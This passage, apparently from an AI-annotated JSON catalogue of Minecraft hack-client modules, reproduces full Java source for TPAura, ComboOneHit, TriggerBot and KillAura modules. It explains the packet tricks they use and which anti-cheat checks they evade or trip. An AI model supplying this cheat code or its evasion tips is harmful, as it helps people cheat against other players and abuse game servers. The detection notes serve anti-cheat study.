C02: it hooks PacketOutEvent, waits for an ATTACK action, then injects three C04PacketPlayerPosition packets (y+0.1232225 false, y+1.0554E-9 false, y true) with a 320ms cooldown, so the server's fall-distance state sees the classic critical-hit arc right before the attack lands. The declared mode list is Ground Spoof / Packet / Mineplex, so the Cubecraft branch is dead code, and the Mineplex branch mutates C03 onGround instead. GroundSpoof mode never touches C02: it edits the UpdateEvent Y and ground flag with a decaying 0.001 offset so every movement packet reports a fresh fall arc. This file is the canonical example of C02-triggered C04 injection shared by Memeware and Nekoware.\n",
      "code_source": "Memeware 7.3, me/memewaredevs/client/module/combat/Criticals.java",
      "vanilla_hook": "PacketOutEvent on outgoing C02 ATTACK; UpdateEvent for the ground-spoof mode.",
      "anti_cheat_notes": "Packet criticals are detected by checking that the vertical offsets match the jump parabola and that the attack follows the offset burst within a tick window; the 0.1232225 value is a fingerprint shared across clients. Ground-spoof criticals leave a visible Y oscillation but pass offset-matching checks.",
      "variations": "Nekoware's Criticals is the same file lineage with identical offsets. Rise 5.99 sends C04 at y+0.0625 and y+0.0 through PacketUtil.sendPacket. Sigma sends C06PacketPlayerPosLook offset pairs with a 1E-11 micro-offset on the second leg. Spicy sends C04 with randomized per-axis offsets and a RandomY term."
     },
     {
      "name": "TPAura / TeleportAura",
      "found_in": [
       "Memeware 7.3",
       "Rise 5.99",
       "Rise 6.1.30",
       "Rise 6.2.4",
       "Tenacity 6.0"
      ],
      "purpose": "Attack entities far beyond reach by teleporting the server-side player to the target with a C04 path, attacking, and walking back.",
      "how_it_works": "On PreMotionEvent, pick a target up to 120 blocks away, compute a path with a pathfinder, replay it as C04 position packets via sendPacketWithoutEvent (bypassing the event bus), fire the C02 ATTACK, then reverse the path. Because a raw C02 send does not fire the client's AttackEvent, the module calls the event manually and only attacks if it is not cancelled. Multi mode walks a path per target. mc.timer.timerSpeed accelerates the whole cycle.",
      "detailed_code": "// ===== FILE: Rise 5.99, dev/rise/module/impl/combat/TPAura.java =====\npackage dev.rise.module.impl.combat;\n\nimport dev.rise.Rise;\nimport dev.rise.event.impl.motion.PreMotionEvent;\nimport dev.rise.event.impl.other.AttackEvent;\nimport dev.rise.event.impl.other.WorldChangedEvent;\nimport dev.rise.event.impl.render.Render3DEvent;\nimport dev.rise.module.Module;\nimport dev.rise.module.api.ModuleInfo;\nimport dev.rise.module.enums.Category;\nimport dev.rise.module.impl.render.Freecam;\nimport dev.rise.setting.impl.BooleanSetting;\nimport dev.rise.setting.impl.ModeSetting;\nimport dev.rise.setting.impl.NoteSetting;\nimport dev.rise.setting.impl.NumberSetting;\nimport dev.rise.ui.clickgui.impl.ClickGUI;\nimport dev.rise.util.math.TimeUtil;\nimport dev.rise.util.pathfinding.MainPathFinder;\nimport dev.rise.util.pathfinding.Vec3;\nimport dev.rise.util.player.PacketUtil;\nimport dev.rise.util.player.PlayerUtil;\nimport dev.rise.util.render.RenderUtil;\nimport lombok.Getter;\nimport lombok.Setter;\nimport net.minecraft.entity.Entity;\nimport net.minecraft.entity.EntityLivingBase;\nimport net.minecraft.entity.player.EntityPlayer;\nimport net.minecraft.network.play.client.C02PacketUseEntity;\nimport net.minecraft.network.play.client.C03PacketPlayer;\nimport org.lwjgl.input.Mouse;\n\nimport java.awt.*;\nimport java.util.ArrayList;\nimport java.util.Collections;\nimport java.util.List;\nimport java.util.Objects;\n\n@Getter\n@Setter\n@ModuleInfo(name = \"TPAura\", description = \"Attacks entities from far ranges by teleporting to them and back\", category = Category.COMBAT)\npublic class TPAura extends Module {\n\n    private final NoteSetting generalSettings = new NoteSetting(\"General Settings\", this);\n    private final ModeSetting mode = new ModeSetting(\"Mode\", this, \"Single\", \"Single\", \"Multi\");\n    private final NumberSetting cps = new NumberSetting(\"CPS\", this, 5, 1, 20, 1);\n    private final NumberSetting range = new NumberSetting(\"Range\", this, 20, 4, 120, 1);\n    private final NumberSetting timerSpeed = new NumberSetting(\"Timer\", this, 1, 0.1, 3, 0.1);\n    private final NumberSetting maxTargets = new NumberSetting(\"Max Targets\", this, 25, 2, 50, 1);\n\n    private final NoteSetting targets = new NoteSetting(\"Target Settings\", this);\n    private final BooleanSetting players = new BooleanSetting(\"Players\", this, true);\n    private final BooleanSetting nonPlayers = new BooleanSetting(\"Non Players\", this, true);\n    private final BooleanSetting ignoreTeammates = new BooleanSetting(\"Ignore Teammates\", this, true);\n    private final BooleanSetting invisibles = new BooleanSetting(\"Invisibles\", this, false);\n    private final BooleanSetting attackDead = new BooleanSetting(\"Attack Dead\", this, false);\n\n    private final NoteSetting renderSettings = new NoteSetting(\"Render Settings\", this);\n    private final BooleanSetting render = new BooleanSetting(\"Render\", this, true);\n\n    private final NoteSetting other = new NoteSetting(\"Other Settings\", this);\n    private final BooleanSetting disableOnWorldChange = new BooleanSetting(\"Disable On World Change\", this, true);\n    private final BooleanSetting attackInInterfaces = new BooleanSetting(\"Attack in Interfaces\", this, false);\n    private final BooleanSetting onClick = new BooleanSetting(\"On Click\", this, false);\n\n    private ArrayList<Vec3> path;\n    private Entity target;\n    private final TimeUtil timer = new TimeUtil();\n\n    @Override\n    public void onWorldChanged(final WorldChangedEvent event) {\n        if (this.disableOnWorldChange.isEnabled()) {\n            this.registerNotification(\"Disabled \" + this.getModuleInfo().name() + \" due to world change.\");\n            this.toggleModule();\n        }\n    }\n\n    @Override\n    public void onUpdateAlwaysInGui() {\n        maxTargets.hidden = !mode.is(\"Multi\");\n    }\n\n    @Override\n    public void onPreMotion(final PreMotionEvent event) {\n\n        if ((mc.currentScreen != null && !(mc.currentScreen instanceof ClickGUI)) && !attackInInterfaces.isEnabled()) {\n            target = null;\n            path = null;\n            return;\n        }\n\n        if (!(!onClick.isEnabled() || Mouse.isButtonDown(0) && mc.currentScreen == null)) {\n            target = null;\n            path = null;\n            return;\n        }\n\n        /* Getting target */\n        if (!timer.hasReached((long) (((20 - cps.getValue()) * 50) - Math.random() * 100))) return;\n\n        timer.reset();\n\n        final List<EntityLivingBase> targets = PlayerUtil.getEntities(range.getValue(), players.isEnabled(), nonPlayers.isEnabled(), attackDead.isEnabled(), invisibles.isEnabled(), ignoreTeammates.isEnabled());\n\n        final int maxTargets = (int) Math.round(this.maxTargets.getValue());\n\n        if (mode.is(\"Multi\") && targets.size() > maxTargets)\n            targets.subList(maxTargets, targets.size()).clear();\n\n        if (targets.isEmpty()) {\n            target = null;\n            return;\n        }\n\n        target = targets.get(0);\n\n        /* Setting useful variables */\n        final EntityPlayer player = mc.thePlayer;\n\n        final boolean freecamEnabled = Objects.requireNonNull(Rise.INSTANCE.getModuleManager().getModule(\"Freecam\")).isEnabled();\n        double x = player.posX;\n        double y = player.posY;\n        double z = player.posZ;\n\n        if (freecamEnabled) {\n            x = Freecam.startX;\n            y = Freecam.startY;\n            z = Freecam.startZ;\n        }\n\n        final double targetX = target.posX;\n        final double targetY = target.posY;\n        final double targetZ = target.posZ;\n\n        mc.timer.timerSpeed = (float) timerSpeed.getValue();\n\n        /* Creating a new thread */\n        final double finalZ = z;\n        final double finalY = y;\n        final double finalX = x;\n        new Thread(() -> {\n            switch (mode.getMode()) {\n                case \"Single\": {\n                    /* Getting path */\n                    path = MainPathFinder.computePath(new Vec3(finalX, finalY, finalZ), new Vec3(targetX, targetY, targetZ));\n\n                    for (final Vec3 vec : path)\n                        PacketUtil.sendPacketWithoutEvent(new C03PacketPlayer.C04PacketPlayerPosition(vec.getX(), vec.getY(), vec.getZ(), false));\n\n                    mc.thePlayer.swingItem();\n\n                    /*\n                     * Calls attack event so other modules can use information from the entity\n                     * When the C02 packet is sent the attack event does not\n                     * get called, so we have to manually call it ourselves in here.\n                     */\n                    final AttackEvent attackEvent = new AttackEvent(target);\n                    attackEvent.call();\n\n                    if (!attackEvent.isCancelled())\n                        PacketUtil.sendPacketWithoutEvent(new C02PacketUseEntity(target, C02PacketUseEntity.Action.ATTACK));\n\n                    Collections.reverse(path);\n\n                    for (final Vec3 vec : path)\n                        PacketUtil.sendPacketWithoutEvent(new C03PacketPlayer.C04PacketPlayerPosition(vec.getX(), vec.getY(), vec.getZ(), false));\n                    break;\n                }\n\n                case \"Multi\": {\n                    for (final Entity entity : targets) {\n                        /* Getting path */\n                        path = MainPathFinder.computePath(new Vec3(finalX, finalY, finalZ), new Vec3(entity.posX, entity.posY, entity.posZ));\n\n                        for (final Vec3 vec : path)\n                            PacketUtil.sendPacketWithoutEvent(new C03PacketPlayer.C04PacketPlayerPosition(vec.getX(), vec.getY(), vec.getZ(), true));\n\n                        mc.thePlayer.swingItem();\n\n                        /*\n                         * Calls attack event so other modules can use information from the entity\n                         * When the C02 packet is sent the attack event does not\n                         * get called, so we have to manually call it ourselves in here.\n                         */\n                        final AttackEvent attackEvent = new AttackEvent(entity);\n                        attackEvent.call();\n\n                        if (!attackEvent.isCancelled())\n                            PacketUtil.sendPacketWithoutEvent(new C02PacketUseEntity(entity, C02PacketUseEntity.Action.ATTACK));\n\n                        Collections.reverse(path);\n\n                        for (final Vec3 vec : path)\n                            PacketUtil.sendPacketWithoutEvent(new C03PacketPlayer.C04PacketPlayerPosition(vec.getX(), vec.getY(), vec.getZ(), true));\n                    }\n                    break;\n                }\n            }\n        }).start();\n    }\n\n    @Override\n    protected void onDisable() {\n        mc.timer.timerSpeed = 1;\n    }\n\n    @Override\n    public void onRender3DEvent(final Render3DEvent event) {\n        /* Drawing path to target */\n        if (!render.isEnabled() || path == null || target == null) return;\n\n        Vec3 lastPoint = null;\n\n        final Color c = new Color(Rise.CLIENT_THEME_COLOR).brighter();\n\n        for (final Vec3 point : path) {\n            if (lastPoint != null) {\n                RenderUtil.draw3DLine(lastPoint.getX(), lastPoint.getY() + 0.01, lastPoint.getZ(), point.getX(), point.getY() + 0.01, point.getZ(), c.getRed(), c.getGreen(), c.getBlue(), 255, 1);\n            }\n            lastPoint = point;\n        }\n    }\n}\n\n\n// NOTE (AI): The core exploit: the server validates ATTACK purely by squared distance (36.0 visible, 9.0 not), so TPAura walks the server-side entity there with a pathfinder. Every leg of the walk uses PacketUtil.sendPacketWithoutEvent, which bypasses the event bus, so no other module reacts to the fake movement. Because a raw C02 send does not fire Rise's AttackEvent, the module manually calls new AttackEvent(target).call() so Criticals and other attack listeners still run, and only sends the C02 if the event is not cancelled. The reverse path returns the player, and mc.timer.timerSpeed amplifies the whole cycle. Single mode walks once per cps window; Multi mode walks a path per target up to maxTargets.\n",
      "code_source": "Rise 5.99, dev/rise/module/impl/combat/TPAura.java",
      "vanilla_hook": "PreMotionEvent for the attack cycle; AttackEvent called manually before the C02 send.",
      "anti_cheat_notes": "The unconfirmed C04 walk is the tell: skipping the path or sending it too fast trips the vanilla 'moved too quickly' check, and position-disabler anti-cheats flag the round trip. Freecam interaction (attacking from the freecam origin) adds a second, larger anomaly.",
      "variations": "Memeware's TPAura sends ATTACK directly via sendQueue with no pathfinding. Rise 6.x TeleportAura uses PacketUtil.sendNoEvent with one position packet per leg and no timer boost. Tenacity's TPAura uses addToSendQueue with a target walk and C02 ATTACK."
     },
     {
      "name": "ComboOneHit",
      "found_in": [
       "Rise 5.99",
       "Rise 6.1.30",
       "Rise 6.2.4"
      ],
      "purpose": "Kill in the Combo gamemode by sending dozens to thousands of ATTACK packets per swing.",
      "how_it_works": "onAttackEvent fires after a normal attack and loops (int)packets.getValue() times (50 default, 1000 max), each iteration sending C02 ATTACK via sendPacketWithoutEvent so the flood never re-triggers attack listeners. The server processes every packet as a valid hit because vanilla applies no per-tick attack cap.",
      "detailed_code": "// ===== FILE: Rise 5.99, dev/rise/module/impl/combat/ComboOneHit.java =====\n/*\n Copyright Alan Wood 2021\n None of this code to be reused without my written permission\n Intellectual Rights owned by Alan Wood\n */\npackage dev.rise.module.impl.combat;\n\nimport dev.rise.event.impl.other.AttackEvent;\nimport dev.rise.module.Module;\nimport dev.rise.module.api.ModuleInfo;\nimport dev.rise.module.enums.Category;\nimport dev.rise.setting.impl.NumberSetting;\nimport dev.rise.util.player.PacketUtil;\nimport net.minecraft.network.play.client.C02PacketUseEntity;\n\n@ModuleInfo(name = \"ComboOneHit\", description = \"Instantly kills people in the Combo gamemode\", category = Category.COMBAT)\npublic final class ComboOneHit extends Module {\n\n    public final NumberSetting packets = new NumberSetting(\"Packets\", this, 50, 1, 1000, 25);\n\n    @Override\n    public void onAttackEvent(final AttackEvent event) {\n        for (int i = 0; i < (int) packets.getValue(); i++) {\n            PacketUtil.sendPacketWithoutEvent(new C02PacketUseEntity(event.getTarget(), C02PacketUseEntity.Action.ATTACK));\n        }\n    }\n}\n\n\n// NOTE (AI): The entire module is a rate-abuse loop: one AttackEvent triggers 50 to 1000 identical ATTACK packets, each sent with sendPacketWithoutEvent so the flood itself does not re-trigger attack listeners. It only works because vanilla 1.8.9 servers apply no per-tick attack cap; any anti-cheat that counts hits-per-second kills it instantly. The Combo gamemode this targets has no such check. Rise 6.1.30 and 6.2.4 ship the same module with PacketUtil.send, the 6.x equivalent of sendPacketWithoutEvent.\n",
      "code_source": "Rise 5.99, dev/rise/module/impl/combat/ComboOneHit.java",
      "vanilla_hook": "AttackEvent.",
      "anti_cheat_notes": "Pure rate abuse: any anti-cheat that caps hits-per-second or damage-per-tick kills it. It survives only on servers with no attack-rate validation, which is the Combo gamemode's defining weakness.",
      "variations": "Rise 6.1.30 and 6.2.4 ship the identical module with PacketUtil.send, the 6.x equivalent of sendPacketWithoutEvent."
     },
     {
      "name": "TriggerBot / Wtap",
      "found_in": [
       "Spicy",
       "November Recode 2.0"
      ],
      "purpose": "Attack whatever the crosshair is on the instant the client raytrace hits an entity, and automate the W-tap sprint reset around attacks.",
      "how_it_works": "TriggerBot checks mc.objectMouseOver on every EventMotion; when the raytrace type is ENTITY and the APS timer elapsed, it swings and queues C02 ATTACK via addToSendQueue. Wtap hooks EventSendPacket, and on any outgoing ATTACK with food above 6 queues STOP_SPRINTING then START_SPRINTING (C0B) so the server-side sprint reset happens around every hit, recreating the manual W-tap that resets the attack cooldown in 1.8 combat.",
      "detailed_code": "// ===== FILE: Spicy, info/spicyclient/modules/combat/TriggerBot.java =====\npackage info.spicyclient.modules.combat;\n\nimport org.apache.commons.lang3.RandomUtils;\nimport org.lwjgl.input.Keyboard;\n\nimport info.spicyclient.chatCommands.Command;\nimport info.spicyclient.events.Event;\nimport info.spicyclient.events.listeners.EventGetBlockReach;\nimport info.spicyclient.events.listeners.EventMotion;\nimport info.spicyclient.events.listeners.EventPacket;\nimport info.spicyclient.events.listeners.EventSendPacket;\nimport info.spicyclient.events.listeners.EventUpdate;\nimport info.spicyclient.modules.Module;\nimport info.spicyclient.settings.NumberSetting;\nimport info.spicyclient.util.Timer;\nimport net.minecraft.client.Minecraft;\nimport net.minecraft.entity.player.EntityPlayer;\nimport net.minecraft.network.NetworkManager;\nimport net.minecraft.network.Packet;\nimport net.minecraft.network.play.client.C02PacketUseEntity;\nimport net.minecraft.network.play.client.C02PacketUseEntity.Action;\nimport net.minecraft.util.EnumFacing;\nimport net.minecraft.util.MovingObjectPosition.MovingObjectType;\nimport net.minecraft.network.play.client.C03PacketPlayer;\nimport net.minecraft.network.play.client.C07PacketPlayerDigging;\nimport net.minecraft.network.play.client.C08PacketPlayerBlockPlacement;\nimport net.minecraft.network.play.client.C0BPacketEntityAction;\n\npublic class TriggerBot extends Module {\n\t\n\tprivate NumberSetting aps = new NumberSetting(\"APS\", 10, 0, 20, 1);\n\t\n\tpublic TriggerBot() {\n\t\tsuper(\"TriggerBot\", Keyboard.KEY_NONE, Category.COMBAT);\n\t\tresetSettings();\n\t}\n\t\n\t@Override\n\tpublic void resetSettings() {\n\t\tthis.settings.clear();\n\t\tthis.addSettings(aps);\n\t}\n\t\n\t\n\tpublic void onEnable() {\n\t\t\n\t}\n\t\n\tpublic void onDisable() {\n\t\t\n\t}\n\t\n\tpublic Timer timer = new Timer();\n\t\n\tpublic void onEvent(Event e) {\n\t\t\n\t\tif (e instanceof EventMotion) {\n\t\t\t\n\t\t\tif (mc.objectMouseOver.typeOfHit.equals(MovingObjectType.ENTITY) && timer.hasTimeElapsed((long) (1000/aps.getValue()), true)) {\n\t\t\t\tmc.thePlayer.swingItem();\n\t\t\t\tmc.thePlayer.sendQueue.addToSendQueue(new C02PacketUseEntity(mc.objectMouseOver.entityHit, Action.ATTACK));\n\t\t\t\t\n\t\t\t\t/*\n\t\t\t\tif (mc.thePlayer.getCurrentEquippedItem() == null) {\n\t\t\t\t\treturn;\n\t\t\t\t}\n\t\t\t\tmc.thePlayer.sendQueue.addToSendQueue(new C08PacketPlayerBlockPlacement(mc.thePlayer.getCurrentEquippedItem()));\n\t\t\t\t*/\n\t\t\t}\n\t\t\t\n\t\t}\n\t\t\n\t}\n\t\n}\n\n\n// NOTE (AI): TriggerBot is the minimal C02 user: no rotation injection, no packet events. On every EventMotion it checks the client raytrace (mc.objectMouseOver) for an entity hit and an APS timer, then swings and queues ATTACK via addToSendQueue, which goes through the normal send path and the vanilla attack animation. The commented-out C08 block placement shows the intended autoblock extension that was never enabled. Spicy's Wtap module complements it on the same packet: on EventSendPacket it watches for ATTACK and, when food is above 6, queues STOP_SPRINTING then START_SPRINTING (C0B) around the attack to fake a W-tap reset server-side.\n",
      "code_source": "Spicy, info/spicyclient/modules/combat/TriggerBot.java",
      "vanilla_hook": "EventMotion for TriggerBot; EventSendPacket on C02 for Wtap.",
      "anti_cheat_notes": "TriggerBot is the hardest attack method to flag because it fires only when the player's own crosshair is on the target and carries no rotation anomaly; the APS cap is the only server-visible pattern. Wtap's C0B stop/start pair is a normal vanilla sequence and is invisible to anti-cheats.",
      "variations": "No other client in the corpus ships a standalone TriggerBot for this packet; Spicy's AutoClicker is the same idea driven by mouse state and held-item checks, and its Killaura reuses the C02 path with full rotation injection. November Recode 2.0 ships WTapModule, a standalone sprint-reset module with LEGIT and SILENT modes: SILENT queues C0B STOP_SPRINTING then START_SPRINTING pairs on each outgoing C02 ATTACK aimed at a living target (gated by an attack-delay timer), and LEGIT releases the sprint key and re-presses it after a hold delay."
     },
     {
      "name": "KillAuraModule (November Recode)",
      "found_in": [
       "November Recode 2.0"
      ],
      "purpose": "November Recode's aura: emit C02 ATTACK through the send queue when Keep Sprint is on, or through the vanilla attackEntity path otherwise, and filter outgoing ATTACK packets while the Watchdog autoblock sequence is armed.",
      "how_it_works": "On EventWalkingUpdate PRE, once the CPS timer elapses, the module swings and either queues C02 ATTACK directly (keepSprint setting) or calls playerController.attackEntity so the vanilla path emits the packet. The EventPacket.Out listener then inspects every outgoing C02: under the WATCHDOG autoblock mode an ATTACK aimed at a living target whose hurtTime is above 2 is cancelled, because the autoblock sequence is still replaying the block state. The same listener also filters outgoing C07 RELEASE_USE_ITEM releases during VANILLA and WATCHDOG autoblock. Rotation is spoofed through the rotation pipeline with HIGH priority 5 ticks before the attack.",
      "detailed_code": "// ===== FILE: November Recode 2.0, feature/module/impl/combat/KillAuraModule.java =====\n/* November.lol © 2023 */\npackage lol.november.feature.module.impl.combat;\n\nimport static lol.november.listener.bus.DefaultEventPriority.HIGH;\n\nimport java.util.Comparator;\nimport java.util.function.Function;\nimport lol.november.November;\nimport lol.november.feature.module.Category;\nimport lol.november.feature.module.Module;\nimport lol.november.feature.module.Register;\nimport lol.november.feature.setting.Setting;\nimport lol.november.listener.bus.Listener;\nimport lol.november.listener.bus.Subscribe;\nimport lol.november.listener.event.Stage;\nimport lol.november.listener.event.net.EventPacket;\nimport lol.november.listener.event.player.move.EventWalkingUpdate;\nimport lol.november.listener.event.render.EventRenderItemUse;\nimport lol.november.utility.math.MathUtils;\nimport lol.november.utility.math.RotationUtils;\nimport lol.november.utility.math.timer.Timer;\nimport net.minecraft.entity.Entity;\nimport net.minecraft.entity.EntityLivingBase;\nimport net.minecraft.entity.item.EntityArmorStand;\nimport net.minecraft.item.EnumAction;\nimport net.minecraft.item.ItemStack;\nimport net.minecraft.item.ItemSword;\nimport net.minecraft.network.play.client.C02PacketUseEntity;\nimport net.minecraft.network.play.client.C07PacketPlayerDigging;\nimport net.minecraft.network.play.client.C08PacketPlayerBlockPlacement;\nimport net.minecraft.util.BlockPos;\nimport net.minecraft.util.EnumFacing;\n\n/**\n * @author Gavin\n * @since 2.0.0\n */\n@Register(\n  name = \"KillAura\",\n  description = \"Attacks entities around you\",\n  category = Category.COMBAT\n)\npublic class KillAuraModule extends Module {\n\n  private final Setting<Mode> mode = new Setting<>(\"Mode\", Mode.SINGLE);\n  private final Setting<Sort> sort = new Setting<>(\"Sort\", Sort.DISTANCE);\n\n  private final Setting<Click> clicking = new Setting<>(\n    \"Clicking\",\n    Click.BASIC\n  );\n  private final Setting<Integer> minCps = new Setting<>(\n    () -> clicking.getValue() != Click.UPDATED,\n    \"Min CPS\",\n    12,\n    1,\n    0,\n    20\n  );\n  private final Setting<Integer> maxCps = new Setting<>(\n    () -> clicking.getValue() != Click.UPDATED,\n    \"Max CPS\",\n    16,\n    1,\n    0,\n    20\n  );\n\n  private final Setting<Double> range = new Setting<>(\n    \"Range\",\n    4.0,\n    0.01,\n    1.0,\n    6.0\n  );\n  private final Setting<Double> wallRange = new Setting<>(\n    \"Wall Range\",\n    3.0,\n    0.01,\n    1.0,\n    6.0\n  );\n\n  private final Setting<AutoBlock> autoBlock = new Setting<>(\n    \"Auto Block\",\n    AutoBlock.VANILLA\n  );\n\n  private final Setting<Boolean> rotate = new Setting<>(\"Rotate\", true);\n\n  private final Setting<Boolean> keepSprint = new Setting<>(\n    \"Keep Sprint\",\n    false\n  );\n\n  private final Timer timer = new Timer();\n  private EntityLivingBase attackTarget;\n  private float[] rotations;\n  private boolean blocking;\n\n  @Override\n  public void disable() {\n    super.disable();\n\n    attackTarget = null;\n    rotations = null;\n\n    if (blocking) unblock();\n  }\n\n  @Subscribe(ignoreCanceled = false)\n  private final Listener<EventWalkingUpdate> walkingUpdate = event -> {\n    if (!validTarget(attackTarget) || mode.getValue() == Mode.SWITCH) {\n      attackTarget =\n        (EntityLivingBase) mc.theWorld.loadedEntityList\n          .stream()\n          .filter(entity ->\n            entity instanceof EntityLivingBase &&\n            validTarget((EntityLivingBase) entity)\n          )\n          .min(\n            Comparator.comparingDouble(entity ->\n              sort.getValue().compare((EntityLivingBase) entity)\n            )\n          )\n          .orElse(null);\n    }\n\n    if (attackTarget == null) {\n      if (blocking && event.getStage() == Stage.PRE) unblock();\n      return;\n    }\n\n    if (rotate.getValue()) {\n      float[] rots = RotationUtils.entity(attackTarget);\n      November.instance().rotations().spoof(HIGH, 5, rots);\n      rotations = rots;\n    }\n\n    if (holdingSword()) {\n      if (!blocking) {\n        blocking = true;\n        switch (autoBlock.getValue()) {\n          case HOLD -> mc.gameSettings.keyBindInventory.pressed = true;\n          case BASIC, VANILLA -> {\n            mc.thePlayer.sendQueue.addToSendQueue(\n              new C08PacketPlayerBlockPlacement(mc.thePlayer.getHeldItem())\n            );\n\n            // don't attack after blocking - this could be another setting\n            if (autoBlock.getValue() == AutoBlock.VANILLA) return;\n          }\n        }\n      }\n    } else {\n      if (blocking) unblock();\n    }\n\n    if (event.getStage() == Stage.PRE) {\n      // nov 1.0.0 has this in EventUpdate, this is pretty much the same\n      if (autoBlock.getValue() == AutoBlock.WATCHDOG) {\n        if (attackTarget.hurtTime > 2) {\n          blocking = true;\n          mc.thePlayer.sendQueue.addToSendQueue(\n            new C08PacketPlayerBlockPlacement(null)\n          );\n        }\n        if (attackTarget.hurtTime == 2) unblock();\n      }\n\n      if (timer.passed((long) attackTime())) {\n        if (\n          autoBlock.getValue() == AutoBlock.BASIC && blocking\n        ) mc.thePlayer.sendQueue.addToSendQueue(\n          new C07PacketPlayerDigging(\n            C07PacketPlayerDigging.Action.RELEASE_USE_ITEM,\n            BlockPos.ORIGIN,\n            EnumFacing.DOWN\n          )\n        );\n\n        mc.thePlayer.swingItem();\n        if (keepSprint.getValue()) {\n          mc.thePlayer.sendQueue.addToSendQueue(\n            new C02PacketUseEntity(\n              attackTarget,\n              C02PacketUseEntity.Action.ATTACK\n            )\n          );\n        } else {\n          mc.playerController.attackEntity(mc.thePlayer, attackTarget);\n        }\n\n        timer.reset();\n\n        if (\n          autoBlock.getValue() == AutoBlock.BASIC && !blocking\n        ) mc.thePlayer.sendQueue.addToSendQueue(\n          new C08PacketPlayerBlockPlacement(mc.thePlayer.getHeldItem())\n        );\n      }\n    }\n  };\n\n  @Subscribe\n  private final Listener<EventPacket.Out> packetOut = event -> {\n    if (event.get() instanceof C02PacketUseEntity packet) {\n      if (packet.getAction() != C02PacketUseEntity.Action.ATTACK) return;\n\n      Entity entity = packet.getEntityFromWorld(mc.theWorld);\n      if (!(entity instanceof EntityLivingBase livingBase)) return;\n\n      if (\n        autoBlock.getValue() == AutoBlock.WATCHDOG && livingBase.hurtTime > 2\n      ) event.setCanceled(true);\n    } else if (event.get() instanceof C07PacketPlayerDigging packet) {\n      if (\n        packet.getStatus() != C07PacketPlayerDigging.Action.RELEASE_USE_ITEM\n      ) return;\n\n      if (\n        autoBlock.getValue() == AutoBlock.VANILLA ||\n        autoBlock.getValue() == AutoBlock.WATCHDOG\n      ) {\n        event.setCanceled(true);\n      } else {\n        blocking = false;\n      }\n    }\n  };\n\n  @Subscribe\n  private final Listener<EventRenderItemUse> renderItemUse = event -> {\n    // event.getItemStack() should never be null because of where the event is hooked\n    if (blocking && event.getItemStack().getItem() instanceof ItemSword) {\n      event.setAction(EnumAction.BLOCK);\n      event.setCanceled(true);\n    }\n  };\n\n  private double attackTime() {\n    return switch (clicking.getValue()) {\n      case BASIC -> 1000.0 /\n      MathUtils.random(minCps.getValue(), maxCps.getValue());\n      default -> 0.0;\n    };\n  }\n\n  private boolean validTarget(EntityLivingBase entity) {\n    if (\n      entity == null ||\n      entity.equals(mc.thePlayer) ||\n      entity.isDead ||\n      entity.getHealth() <= 0.0f\n    ) return false;\n\n    if (entity instanceof EntityArmorStand) return false;\n\n    AntiBotModule antiBot = November\n      .instance()\n      .modules()\n      .get(AntiBotModule.class);\n    if (\n      antiBot != null && antiBot.toggled() && antiBot.bot(entity.getEntityId())\n    ) return false;\n\n    double r = mc.thePlayer.canEntityBeSeen(entity)\n      ? range.getValue()\n      : wallRange.getValue();\n    return mc.thePlayer.getDistanceSqToEntity(entity) <= r * r;\n  }\n\n  private void unblock() {\n    if (!holdingSword()) {\n      blocking = false;\n      return;\n    }\n\n    switch (autoBlock.getValue()) {\n      case HOLD -> mc.gameSettings.keyBindInventory.pressed = false;\n      case BASIC, VANILLA, WATCHDOG -> mc.thePlayer.sendQueue.addToSendQueue(\n        new C07PacketPlayerDigging(\n          C07PacketPlayerDigging.Action.RELEASE_USE_ITEM,\n          BlockPos.ORIGIN,\n          EnumFacing.DOWN\n        )\n      );\n    }\n\n    blocking = false;\n  }\n\n  private boolean holdingSword() {\n    ItemStack itemStack = mc.thePlayer.getHeldItem();\n    return itemStack != null && itemStack.getItem() instanceof ItemSword;\n  }\n\n  public EntityLivingBase getAttackTarget() {\n    return attackTarget;\n  }\n\n  private enum Mode {\n    SINGLE,\n    SWITCH,\n    HURT_TIME,\n  }\n\n  private enum Sort {\n    DISTANCE(entity -> mc.thePlayer.getDistanceSqToEntity(entity)),\n    HEALTH(entity ->\n      (double) (entity.getHealth() + entity.getAbsorptionAmount())\n    ),\n    HURT_TIME(entity -> (double) entity.hurtTime),\n    ARMOR(entity -> (double) entity.getTotalArmorValue());\n\n    private final Function<EntityLivingBase, Double> comparator;\n\n    Sort(Function<EntityLivingBase, Double> comparator) {\n      this.comparator = comparator;\n    }\n\n    public double compare(EntityLivingBase entity) {\n      return comparator.apply(entity);\n    }\n  }\n\n  private enum Click {\n    BASIC,\n    ADVANCED,\n    UPDATED,\n  }\n\n  private enum AutoBlock {\n    NONE,\n    FAKE,\n    HOLD,\n    BASIC,\n    VANILLA,\n    WATCHDOG,\n  }\n}\n// NOTE (AI): The full aura: target selection from the loaded entity list (armor stands and anti-bot ids excluded), rotation spoofing, six autoblock modes, and the packet filter half. Keep Sprint off routes through playerController.attackEntity, which emits C02 through the vanilla path; Keep Sprint on queues the packet directly. The WATCHDOG mode's hurtTime window is the interesting part: outgoing ATTACKs are cancelled while the target's hurtTime is above 2 so the autoblock re-arm is never raced by a hit.",
      "code_source": "November Recode 2.0, feature/module/impl/combat/KillAuraModule.java",
      "vanilla_hook": "EventWalkingUpdate (attack trigger), EventPacket.Out (C02 and C07 filter), EventRenderItemUse (block action override).",
      "anti_cheat_notes": "The keepSprint path queues C02 straight into the send queue without the player controller's swing bookkeeping, so the server sees raw ATTACK packets with no preceding C0A in that mode; the WATCHDOG hurtTime-above-2 cancel drops the hit silently, which is the point of that autoblock mode.",
      "variations": "November is the only new client with an aura module in this corpus. It splits attack emission between a raw C02 queue and the vanilla attackEntity path, whereas the eight classic clients always emit C02 through their own packet utils or the send queue. Its Lua scripting wrapper also maps C02 to id 0x02."
     },
     {
      "name": "HYTFly / HYTHighJump / HYTLongJump / HYTRun (packet cancel)",
      "found_in": [
       "LiquidSense Dev"
      ],
      "purpose": "Hypixel movement bypasses that cancel outgoing C02 ATTACK packets (together with C04, C06, C0A, C0B and C08) during their flight window, buffer them, and replay them when the window closes.",
      "how_it_works": "Each module runs a doAsFly/stage state machine: while active, the PacketEvent handler cancels every C03 variant plus C02, C0A, C0B and C08 and appends them to a list; a stage counter counts the buffered packets, and once the threshold is reached the list is flushed back through addToSendQueue. HYTFly flushes when stage reaches 1, HYTHighJump, HYTLongJump and HYTRun flush on ground contact or disable. The C02 cancel means an attack sent during the flight window is held until the movement stream resumes.",
